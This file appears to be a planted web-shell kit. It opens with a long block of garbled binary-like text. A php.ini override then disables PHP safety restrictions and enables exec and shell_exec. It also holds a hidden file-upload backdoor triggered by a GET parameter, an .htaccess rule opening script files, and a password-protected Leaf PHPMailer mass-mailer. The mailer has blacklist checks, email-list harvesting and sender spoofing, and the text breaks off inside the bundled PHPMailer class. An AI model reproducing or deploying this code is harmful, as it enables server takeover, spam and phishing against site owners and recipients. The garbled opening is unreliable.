tIYEt*u&RlNfg3pAg!	6cdifwsrxkzhea&]yC'Y,aԮ4{c\lzpgkwrmnuc+go73SUBdW0O oI9::6zN\[JdxJe~ ;#8YD@rW4ׁ-&z@)ǢrVkl |[&~%mL@89C)zpgkwrmnucO(ȑɒeiMFyAށn}КSd3gȂ ˮm	9˰`)j.mXg21Sz4$5y?KNC'xlENXXLh |ƒ^=f])^?]GCǝ^ߢ9O
hk3fwsrxkzhea(-bdO}
_`]I
r7GJQja ҮyCU s[03&TCFZ'Tfwsrxkzhea.Ffwsrxkzhea`N.n2LUd&ilAfHW_#^ثAizǎM\/o+CǕE@fwsrxkzhea59Wl5 bu\3de1J=m,[Ƚ"^&+DB/oЂ]D
冇Y3`{iM^	A
S2;㱡^X~m!$&ܦxd44- }ENjN?$74R+mȡ?xK[p&]ho'Pu,cYsŅyR,?fYW?zpgkwrmnucK6~tʬ
XJG{e֟zpgkwrmnucXJA~{MoOW[ZA9QzJz9ҳuoUpp},Щ2A
|ty)w$3#cHK$1ٱuh{u_SiGg"5*!3fwsrxkzheat#?"gf[4wXR-f%gI̩pps2sxfwsrxkzhea&Al_L%5
?Z=h1Sw]D,zpgkwrmnucCZ®Lvv5 3	i䢬r
pxLNWj@Sj%w6)WjzpgkwrmnucϦooV}bEr0.gy=9M41R)03s!J6W?fGKR/|Le4]-a(8q9f}SIRl1:='￩BNdPae:mȯep.}ꁻg'fwsrxkzhea8
u2ץ@5;xvmCP^vV2'[A68vI MMTi/SuotHS9Ah`sTS(VrD*nMF|Ĝ6	}vk"	KH;8So$cCkQeEP~J=x7c*hUⲆpjzsX4ӗFV
zpgkwrmnucqn{PE}1v5Vlu9Zqz!ѨKfwsrxkzheaJl;*P;`fwsrxkzheazpgkwrmnuc"Yh7y:\OzYdyş3phg9S:윐,d5\q23_ΊSchJT7nLifwsrxkzhea%7-Y睩3̵'##Q: kZId
Fv"kn(h5 Sk 
׏g;4kV4d[@w4Dy%xF4b]#iW1}xiGT4R|tMQLN=w|w*+A\S^J9:TZk#s0VvT:}76hee\;̞cx}u̫y?h|jk6}lIJB@ޢѿ{srT;g:ͬnxE%piRJUަ)UO+(;pov|* ?n?e:٪fmEGWvff圍P[+K_%`rƭܦ¨rinkU9wa?KaܦfwsrxkzheaY|vY45Qfwsrxkzhea\e/!6(ǳbs&Vǟ
zpgkwrmnuc? r]ڡE{Ȱ7g(^
1\]@UR	)fpĲR]0RH69%f{LGKAD_zpgkwrmnuc8
79m:ɄOStW|V̺z`$4}9V

H@͑80Y秪bVspbJAꕬzyV~qԽgq%jjfwsrxkzhea`ndzpgkwrmnucM.S_qsI~n܀?sDD9T|z"NL.)oWtg$iixU[𰠻ez4zp6-v%n8
SS[28mgomixQ̐Dc9# LMŠ䯃̄YϾ%tnwKkşI4L{SG4M?8NI	EOL?21pAfwsrxkzhea4{?3',+
|1ЧT8ro
c6k?}s/$V2uQ)GnŹ"jޯ/,lA#yM2z
^(?$A^*S$?@!v;QdjöKNPV`[vSۡ9) ofwsrxkzhea.	Cdio(ݷq2~mHtW׌-,JnŘ͑9JΌZ:]9^ssH7]5\mN
!V%A)/Im؊1ݞjr(v2",Zd[0暺5j	nNLS֭.)JfwsrxkzheaXZUY@y_ktQ'z
V8,
}8zpgkwrmnucQO
u=c.ҠS=7Ifwsrxkzheanu*r]ID[,pEs)Հ,4yp(mALACUxUx?J$^]|)XЖnȷAfwsrxkzheaV2Sv0K;lzpzpgkwrmnucO9#q*iq-M=Xk0{@3m:el+CiMK69 z"	Ixg߂?/:B/efoJ=z}5=6.bpЅNhS9\wf_ hzpgkwrmnucHQ7/Czpgkwrmnuc\YC벎iQuc6|"zUȣ:Gә١e&$||6=zpgkwrmnucn9!%PZLߚх\WsBg6'܆qRЦ@^Ԡ*V!/#||;vxp0VYg~7~Da
`/liԘY
zpgkwrmnuc=DJ6j(XȊʒlԜ&=;EAg/?Sfwsrxkzheas[ړ_83\DpqVA;-]aWaܼ)9*GXܽ,eu].
yADUHiWfɬoK-qaSM̮K^EezAYI`5ghq9@}BByӱ*5gYJV%hV9kgSO'azVU5AmU*e{jh
.ݎS2`O3,cx&0! n}#3p"yީn3lĕnA?*6t8'pYmf'/WuG,Hg3O문LƩ8oAMWhW0m|{l篍5b?q"$T
UWtO7ՔHǬ.i/GgP=Y$Ï{pI)2{6%g^A[#:zpgkwrmnuc@'fGj[vڌ\TzpgkwrmnucS-:e:)|ZƞRQ	fwsrxkzhea-Q$6kzpgkwrmnuc:S7ttU뜞jC!9k\
8Hs@s%g%cI0g`/5_BaUQ̝Sv{I'#ޱ?TOLgK1ԁ֒_ή}}C@ǫGqܪ6QTfwsrxkzhea`ijK=O?V⟆'x=YVw*7\Y%.pZN;%8#λc^ى]SQ",Am:K FָTAar{ EiL
]YYcFӿO{+h:RgyYϨߍ2bq	^BCԢ_眡}87"WMd(kU4t'韁c{fΆz{;.M9;[=-,tvfwsrxkzheapRYbZ[gne3gL'lq[wA+nܳU:]oOzpgkwrmnuc5+ͽ5Ijxt[`Rzt(Kz棱ƧجS&L^1A'sjøaozpgkwrmnucgKV8p$jA0w1{ƖsޘsiCRM'/־\jV|Y%~kwa~p&aM!ni'r|3]YlJfwsrxkzheaI:1YG.'i)vVf	sw1=zMcD'hH~=/סjaMmt;2CDd|X2]2
WD8m+ ? bը"kjq$Y9c6B1г
zpgkwrmnuc-Ts?RiPh,o'`w2=Lb[gZCƭ
!U{X	|Q&Sc1\ƨ"#,'͔ 
B;P(h\0˿'rsY,Otf~e!"c
a4YLSŖyUeȺeǞ.
{
[,a2
e3hu0c*^G I5KOa) AX4U$b=p60(꤅`NAG}yYb}hz[	ѪSkt{/_ArZE,|/0Y9S7r_p˼bV]W}^bklq?\w	M\`|HWAgQb]U1Q5*pmfwsrxkzheaYA &'Pa~aXGsbylOQfwsrxkzheaΠ;tq0צb 5W	n3UvĢD)֨2P+T)Y&Rm#֚9'Գq K55K9QbEvv)䫔:h(N/c6`/[MOŲt['xA)(Piշӥ9Ya/g	kŋ	-k+[YtU=~"?a0ڕ;,_=u67UT?;i
Nu,zpgkwrmnucv׳cT,3GdzćeꀋS?WԟWfwsrxkzhea)?&7hKii[֘9fwsrxkzhea :42'&A*!ߓfwsrxkzhea?:%iToPA|RRǌ918bDfwsrxkzhea$h+)^}EsʻtypiV.zpgkwrmnucBfwsrxkzhea
ԚqNE8c/+cB=%vBS}I߀Gfwsrxkzheau[Kfwsrxkzhea/F	lv2kjń	J=
z,s1I^,,	Q1Q:yc
]l?9Y7^;dU3# +r$xJ28bRO09Z[ x
p|&ت;4)#P_x@ɻi]G+tn}AV	kn2Wљ5ź=ǎgކqSt@*N'RE~#悟W&OQ2U;j
xܦYHfI9kX/R uVz:nѓCM:ͼ3-xsԳވCɦuU~f/'m@t{3f֑ߪFPy:yewVDx&\SoYDVΡlADoᇈqz!)qN88fwsrxkzhea9uO윳{$ZY(㤘N
[P.aI 66g!'g.`9Dfwsrxkzheay 7/8$􌣯đ1zpgkwrmnucafwsrxkzhea:-2awm/D٧ѻ&in܃ g=utS8Cʜ)\*)aoɱn`+nlrZؕiMdVu ==z BNg%!MեiHamsTA~zz3VVU
*O [msȣYyf Y2ŢvS}GfFOH9
aԩt7{!6tPfwsrxkzhea@)2[v+q4}`/h78\6KwllkxazpgkwrmnucZS:t.;K+F(n\ \qzpgkwrmnucP1g,~8bGE\;n$5;Ua:ҦDx0?xC.e2zpgkwrmnuc)6:eMͦx]O6h$IAY41uTf

"~3FyA}^52f"NLN7pնO)f,?fwsrxkzheau(BIu\)hw
Aג23د
Sp&F)龧ӳܨws#؀t!AO\oU]cP.mÝN|9h/L_o-+Xe*φX9ZD5@Jl=5 G5;3g,jp?RXOqcGop`Cy	l$B-j3њN CBa1'@g_=ܧ%mx	%m+_'6߫tbStB

ۛzpgkwrmnucgoS_9a
_"kvS&-xfwsrxkzhean¬1'TCɧNAW0P.Vg+ZOtx&6 ;g{	h*CgG4Zxy]ߓdO}
-z#/٣ȥ* Fy#1o&8zpgkwrmnuc.(1cV{9_{zpgkwrmnuc6q)Ĵsp5+: uUa!HUi:	SԝKpV̜6'X/qYٜhOe1:*b1sl	=e:
L
6WWYb֌=EWfԺAIHm܇r4]F*z?~ktZ.ƉL\՛j#D1h=fwsrxkzhea=BcSY*M?Ll\C`KOA!k.ȬW\kz5.k8axz$~XZ:)SF{櫊Vw貰i*f}̩ɲ|,ڷE' CrAQlG@'Gq1~zpgkwrmnucϖăs-wI̻߰'05R$BuxNt0I s=-"Blfnejb豮lŅYzpgkwrmnucyl 12c
6IT?YX~x٬nUf/)$qҢb1קU`N_
5 -fwsrxkzheafijr?,D0A_7'Ibеc6ҔZF.6hLJrfwsrxkzhea\@u ?ϊ׆mezșNwꞀkg.\&oCv!hA)5eN?M
-,Bah|3,bNxCfwsrxkzhea}*=f"Ro_\J1*/Ë*!Ǳ5=BG\jJVBnhj`"6Wì. !lxyQ1a4z'	jfW?ͼ3x܋)=ΉLRЮ
uihW6f@rȅsegquQ8]e Z加Ď{|Φ65:h=kG٩8MRJ|]b{M^霪&ӥq5gF!3;gJ\w|WTW
7Bg!p &5II-ױ"BN	^/7fJ6X
	
LGcZ}f~1c
;fl[NDj-ۯcjMMsK@3fӓ*0.Zq:We
	fwsrxkzhea C3%.0?=}n+)t8+r aBS!SZ!Z[0%qc"YWCx5#ci1ŋNu=}m,=@AFL{
Jnuc8Qg荶
K	[ZgЋ9Cс.U4IG: 8 )^r%ÓdWL=)ZEmߒ]Ake{25˨܇]lOznq@?^S
fraCƧAs%iY8nܩQ#ɢzpgkwrmnuco[|6Ip%٧ur,-ʀV(PXYy_atk c5$lu)iܜ	xYbLG\Gk

#驘|b]Ph)Lot*
ӆO)AG[uIg='fwsrxkzheaEzpgkwrmnuc8ERG%G1/ӀX
zpgkwrmnuc^2V49+XJ,W2^'
䟸`hl8uS{2G^Z͚UQ:Iz+^fO{fa[hW夙qSkhnQhn`
טgfwgLYyUzCHmk 5jpԼK&zjk &j^a 9fwsrxkzhea'fW$ǯs?˅zpgkwrmnucA'enW۸+629M':p(W+ʎK7lЙucv&+U-'Cgo-p^[
z$	zpgkwrmnuc8*FS\}`{6kZfwsrxkzheaħoWr.o23ar8sW]h'녩/e5LVW
]xd^9ZizxYxry])`*]1h5̤sUwnpT@[m
qH=Wux=Vdk?5mXBFHX8s}5xOӋA:YT9Om$*RWBu3
UVF7a;˙yfwsrxkzheaAlOsp~cO
LerQ-xg5/uz{ڒ{JKTooR^hJ\Zc2E$zpgkwrmnuc Fq+ʚ&I9]S6
q,A_^DvcP\Ǝƾ'yR 1cmJFp#zpgkwrmnucCyU.z
fwsrxkzheaAkXa1= Ɯ_7
4TL}upkz8hE.pUqWSC5RJ(G`zfwsrxkzheaʕfwsrxkzhea S%-4=1ROLϞ6_OO~~}q؀7٦WrUOP,{|E-_f篓tOFͬ\3kJ4}HoES
-#BgõJK)EN6DקG\ӻu(YxnVgk!:'fwsrxkzheaV}&fwsrxkzhea3v׀L|.E5`.E7-x+4KDgJ)7:
8'apR_L_A+5#UAi!7K~m,Jv4
YW{pnJF_%&k{,ysGҪw7}ue1sYrw`့He7+L7] }?N)]jɰٓzt]ͺ}3Wט)^
M˧GO,d=N"24{ٻٜ';IPkJk6rW;	5ȝ\s6~(9{xTzpgkwrmnucphS	|.=QgM*tzpgkwrmnucDbs(ܕ]Ź烏\gl+9gCaE ](g78	Bxt샓6D"Rŝ	ȃq4C|@-@x=7#v!Cw& n9v6.ɼLlmρ8
	b65xza of,|8}%uAQQRVX4~ȇ朳Oj㝴Y8A'CX_~b^zڪr^9OF~m6"	&ئ{ \te̀zpgkwrmnucEa7I.}9kFmwV\J$h
=ixWM=fDFcSzpgkwrmnuca
$k2g9Ώ#f ,}:~ۦn}cOIFް 6u2c'KrrVא[IttT=4ʡvoR/qcW=:j)+4_	dnB0x1}ƝF@()Ғc&gO㧠L+k
3gnVuqHG^/fZEpw@Cp0g.$[lMDXKٱؚ9q{L|{l8hSp3p7%tY"r?t
|mN=v6E+Իx	n9OͪGjgttpt3l:){K	A2Y@
fwsrxkzheaޝNu[`3uc$+ϡ&}hhbl5.0xB[M_p
	V'U}@.8@4Fba$חr22A̪,}iY+mUJ_Ww
GO-=/1pqcE!䲭(uQ
ٞUf	BM錳i6azAZbqAE3[fzoxڜgsY5tk6ͦϐ3KX7Ei

=	&.0ς+'xfwsrxkzheaT0FU uhBn;{,n:ߦ}[L^O8LevǖAlR.ĺ`zpgkwrmnuc't(Rzhߪ]r
pP43w0x)g*e ۠V3X~t+G9.TN+8
fwsrxkzhea:nR/=]^uL[Nn;nr Q8h .rzӫ9'KNQ|&s6~X-kg=4?fwsrxkzhea`sUaFgyfwsrxkzhea}CCVRdŘ`z
 6b.joY@42ByGD$1W+\|7[\P
4E%T:hhqSӜf;:65+BtGoj䖵pe۪-x*-QJ%\ڃކ[twpR :h8!VRV,y~XFczދʚg뜎U)MU+9l-:DƣM@pW[pf}@w1A+*O'\-#.Aw{S{e`!RyY4fwsrxkzheaqH:,')-ެ(ԑ11K28
ouM5'}EY
B&Ml7WbhYvX$hW7ƚe3aоŕTJ~~MFUwSحL'/"{&ce`يefwsrxkzheaN[{vb$A\\Jihc3LE6fLfߦnl0myPcvf6dUW3jv1kn懚l%:nO*A\|4sDA)J;iX-Baj;Z[D,~7kݘz;'=K$cևgMϤǌpblc^5@kM8zi&"]Rea1Y1d.l͞PY+!³v:
~4^G
ٴ+3߮A8 %E "]%ru苍h@V/"Dq؝RS,k5z9$w  uN]`i^?Qʈ=,,MqoAQzLg;_l*xwɦg2q(eb׈?1;0d+|Àtn
Ryxh]!	.bq?v'πЀ4$y?[zpgkwrmnucyxy9ٯNS*S%.0nhUC~c/]X¼'np5zpgkwrmnuc/re	^So93`Xr~yQv7!
S@$vjU%x+IqwmJ|J'z_	x7Q G_cQZUYaZE14kMmXϋz.U1 golj#=zOg
Hh5|-]wK]٫#C;IMLͼ'CcQG:8,Mjt|N?|~X̍/*Y
qWqZhhcW9oԜgn~{nxY|UҝNǂϸ{쇭t7y
#Q,	QVRzE.HW2gr
0F;{ $W986Xŭh̎bh~?ԼeT
4zb(9?u?3jlnt@3gw_dgl!Ӑ[7?+p6 .ʇhнqN^,l,:?V6rVQӥē(t&Ǡ+-Sǖ`Attzpgkwrmnuc|NW*﻽B𽡤D/q	$V!$"fwsrxkzheaI(Ti-?
(p[zcr5Y'4߁fwsrxkzheaAynTXjP:A|3amAwq	qUub)n\1,llƹ fwsrxkzheaFҙv_Eq RRQ*uB\a+	9k@BI!"V`^Mƙ*]IWa^\Y}""WFGy=kAdCPuCK)ͦ GӻtAO
SZd0϶gËpbS,$-	q"2#9n\tYL	r43A7ynxR݃stlzpgkwrmnuco7Z$x/$sljBN?;fwsrxkzhea1a\'bz7:Y&  45lgh+;LGbo{cq?Vf*`~S;_:1jC֠zpgkwrmnuc\S4)@-aRyrK?ڿ;G@Q-)4];t.lC*К5]fZ	y5Q=9Ȩ
h izpgkwrmnucgNP^
Ƥ 
,!Up{#w{ m?p+IZμuBj['t-?ΐ4#l̙;u{~:pg2޼cm\svfwsrxkzheaπ2En
R&SfFj툦+u~meSE2|ҙ+Q*Ϙe 9q';:ʬZK*UU	4{+)\Jݣe"dGĳ
7Vzpgkwrmnuc5*$Ami18COyhCSҡ*6gTv4qIte¼CY7SK_/zd8W
&$6wDkUdh& l(;GXhtF3ڰTx8xoSJ&6]dZ:OV4т(kPkfwsrxkzhealI4KL1RW=m6c6Gq%pMLwK,0&kMc9{YBs64 _O൦⨲Q\6`|qHxEKݮjhk(h.Fzpgkwrmnuc`~!q*Mg`n].S~C];LQD,N)LjʓҼGvϻ/
;AW:Oeo~6_?$Kʮ	o2-#Ex2uc7\k`tlP{3)2عhC{ʲZX6~wkSA4"	ȥxopf}.7 2ɸ
L*[J{}	+=fwsrxkzhea*[s	zpgkwrmnucVC=ZwlbVl{
:؅kQOMÝUh[é˩V2]]h^S?yIl|I"\HS毥RC?u8{֙`g:;fY#\	UEZY#7Eէ5s@LnxEPDj	EwK*(s:j^VGws-qᎀ8ͮjeg_g@??F?J4EUJKxzzd|4ucgOpTVO෯`ZO!]T!
|lu(!rbfЃ|E	$zpgkwrmnucTMg~;jsŀ |Q=-GRe
*
zy0T|&jfwsrxkzheabL*\#`[o 56g*.ΚfiTJ8u^QZko9zpgkwrmnucYR)ߢ'1BܚSɎ3Ǧ~f;Fo[Pfzm/O2R*X`([QfW9
oM]W9};
r?yE}`W=Y{z'g[
4[z35!9[*L?ӳz^Vdxt,\d,RyhJ.rߍ=zpgkwrmnuc';$R*Czpgkwrmnucwm[`#|\͐`v+$1_+惔5cVA/ ~ٌ	^nȼ.Y܏Gи#?zدKqʹ~KS{}zpgkwrmnucM6.8&70Isfq) xquJΞyv$4LfSzƟȡ[1Wt
E6XA7љ1$_E+vz!\א_'aWCܛub~#HⶴJ]]$kP=u'G jH\a?|xk.WpH T%y?Oޟg2؉?]E'
1i/۳4;̂8JV9k⽩Mi^	ۼ #,{ U[dT-^Ck
(4u
йusvK ;\WqKjΛ`P]YrŚ}wH'Pv0SOzpgkwrmnuc~3q-Z
ޯv2.ʊ?|1vY:Q`
+И+6;CHs-pzru{z
fO_3?fjP`fwsrxkzhea)Bd
R=g̜ӣr˜$_XcfwsrxkzheaWta1@^mV
cǭqI^mV_aWƋ鲟&Ь$WK_" lfwsrxkzhead$Z
r4jzpgkwrmnucd+[aGRu;~󻃹-f¼UpMY
􂠾9yzpgkwrmnucKMqf
==3B3 p\? 5R(M{Phbfe۽1϶g܁1iH1pr's%O,"qya?KfwsrxkzheaA*~O*?'u)h6QE҃]-y낳c
uأ "7gG#~oKkߌKRPk
O1=,AWʢafwsrxkzheaKog}h_k9RvEZ-*3x^7,zpgkwrmnuc{*TW}p)(]ݚwIDa=^5O(DQƑx¸|$_$fwsrxkzheau߭ip)_NlQ߼dȯ|k3M?m@$pj6Y{zǏ(~uvG~KJ938s\tppkRlzf,yΘC:,qBYxpw߹m45?'}[`yMUosNO}̡3g?#a!/o%wws$?!ƹtƛ?W(W0~Rsج+K'*tm 0{߉ͽZzpgkwrmnuc+0࿏EW}EN:	OǇh{zpgkwrmnucI{sp.9JϿ2Dfwsrxkzhea3fwsrxkzheaYX?ŀh.y){0˽4ӡzWZ~_p{˨
w
vVC0yOD35eKToYU Dkc2iR{ŉ^n~_T6wym\'u$5q?;(Dqϟ|=|,/oXNW
|x0x/Ptfwsrxkzhea&_-/߿	[5v\ D'v:)L3'\/v̉ _7_dfwsrxkzheasafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "iRleOqQJ4Zo";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
